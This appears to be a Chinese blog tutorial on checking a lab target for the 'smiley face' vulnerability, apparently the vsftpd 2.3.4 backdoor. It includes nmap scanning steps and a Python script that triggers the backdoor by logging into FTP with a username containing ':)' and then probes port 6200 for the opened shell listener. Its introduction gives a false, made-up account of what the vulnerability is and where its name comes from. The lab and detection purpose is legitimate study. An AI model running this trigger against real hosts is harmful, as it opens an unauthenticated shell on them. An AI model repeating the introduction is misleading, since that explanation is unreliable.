首页 > 编程语言 >python脚本+kaili检测笑脸漏洞

python脚本+kaili检测笑脸漏洞

时间:2024-10-20 11:52:49浏览次数:3  
标签:ftp python kaili 漏洞 笑脸 IP 靶机

一、笑脸漏洞简介:

        笑脸漏洞(Smile vulnerability)是指在计算机系统或网络中,由于某些设计或实现缺陷而导致的安全漏洞。该漏洞的名称源于其影响的用户界面或体验往往看起来友好和无害,但实际上可能会导致严重的安全问题。笑脸漏洞可以在多种应用和系统中存在,尤其是在互联网应用和移动应用中。笑脸漏洞提醒我们,在设计和实现系统时,必须考虑到用户体验的同时,也要重视安全性。

二、实验操作

首先我们打开kaili和需要被监测的靶机,用 ifconfig 语句得到kaili的IP后扫描该网段内所有主机的端口开放情况。如图为例,我们得到kaili的IP为192.168.253.129,由于靶机与我们处于同一网段,故接下来的命令为

nmap 192.168.253.0/24

由图我们可以看出,结尾为133的IP地址端口开放数较多,由此我们可以判断此为靶机IP

接下来我们创建一个python脚本以扫描漏洞,代码如下

import socket
from ftplib import FTP
 
url = input("请输入你需要检测的地址:")
ftp = FTP()
username = 'user:)' # 用户名必须包含:)这两个字符
password = 'mmm' # 密码随便输
try:
    ftp.connect(url, 21, timeout=6) # 使用ftp登录,设置延时6秒
    ftp.login(username, password)
    ftp.quit()
except:
    print("完成登录检测")
try:
    s = socket.socket() # 使用socket函数来检测是否有漏洞存在
    s.connect((url, 6200))
    s.close()
    print("存在微笑漏洞")
except:
    print("没有笑脸漏洞!")

我们将该代码放入kaili桌面,文件名为.py。

下一步,我们扫描靶机的6200端口是否开放(从之前的操作中也可以看出)

若未开放,在命令行中输入ftp + 靶机IP,输入用户名(用户名和密码随意,但是用户名结尾要是:)结尾),结束此操作后,可ctrl+z结束此命令运行,输入nmap -p 6200+靶机IP,以检查端口开放是否成功。

 接下来在桌面的文件夹中打开命令行,输入此命令

python +(文件名)

此时监测已完成。 

标签:ftp,python,kaili,漏洞,笑脸,IP,靶机
From: https://blog.csdn.net/2302_79646534/article/details/143090300

相关文章

  • 洛谷P5731 【深基5.习6】蛇形方阵(Python)
    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档前言尝试一种没写过的解法。一、题目传送门https://www.luogu.com.cn/problem/P5731二、代码deffuc(i,j,cur,sign):#位置为(i,j),写下cur,方向为signglobaln,ansifcur>n*n:retur......
  • (附源码)基于python的旅游大数据系统的设计与实现-计算机毕设 26553
    基于python的旅游大数据系统的设计与实现目 录1绪论1.1选题背景和意义1.2国内外研究现状1.3论文结构与章节安排1.4开发技术1.4.1MVVM模式介绍1.4.2Django框架1.4.3Vue.js主要功能2 系统分析2.1可行性分析2.1.1技术可行性分析2.1.2 操作可......
  • 「漏洞复现」某普SSL VPN 任意文件读取漏洞
    0x01 免责声明请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需......
  • 使用Python爬取某车网参数详情并解析数据
    前言在本文中,我们将介绍如何使用Python来获取某汽车网站的参数详情,并将有用的数据提取出来保存到本地。我们将使用requests库来发送网络请求,同时利用随机User-Agent和代理IP来模拟真实用户的访问行为,以避免被服务器封禁。目标网站1.准备工作首先,我们需要安装一些必要......
  • [Python手撕]游戏中弱角色的数量
    你正在参加一个多角色游戏,每个角色都有两个主要属性:攻击和防御。给你一个二维整数数组properties,其中properties[i]=[attacki,defensei]表示游戏中第i个角色的属性。如果存在一个其他角色的攻击和防御等级都严格高于该角色的攻击和防御等级,则认为该角色为弱角色......
  • 【Python入门】5大Python预备知识全解:你真的懂Python吗?
    ......
  • 【Python入门】3大Python缩进规则:你真的用对了吗?
    ......
  • 毕业设计:python股票推荐系统 数据分析可视化 协同过滤推荐算法 Django框架(源码+论文)✅
    python股票推荐系统数据分析可视化协同过滤推荐算法Django框架(源码)✅1、项目介绍技术栈:python、django框架、requests、BeautifulSoup、协同过滤算法、Echarts可视化、HTML登录注册界面:用户可以注册新账号并登录系统。个人信息修改:用户可以修改个人信息,如用户名、......
  • 【Python】最详细--基础语法
    Python是一种强大且易于学习的编程语言,广泛用于各种应用程序的开发,如web开发、数据科学、人工智能等。以下是一些Python的基础知识:1.Python的注释Python的注释用于在代码中添加说明,以提高代码的可读性。注释在代码执行时会被忽略。单行注释:使用#符号标识,#后面的内容被视为......
  • python是如何进行内存管理的
    一、python内存管理这个问题需要从三个方面来说:相关书在python33点(0M1)对象的引用计数机制(四增五减)2)垃圾回收机制(手动自动,分代回收)3)内存池机制(大m小p)1)对象的引用计数机制要保持追踪内存中的对象,Python使用了引用计数这一简单的技术。sys.getrefcount(a)可以查看a对象的引用......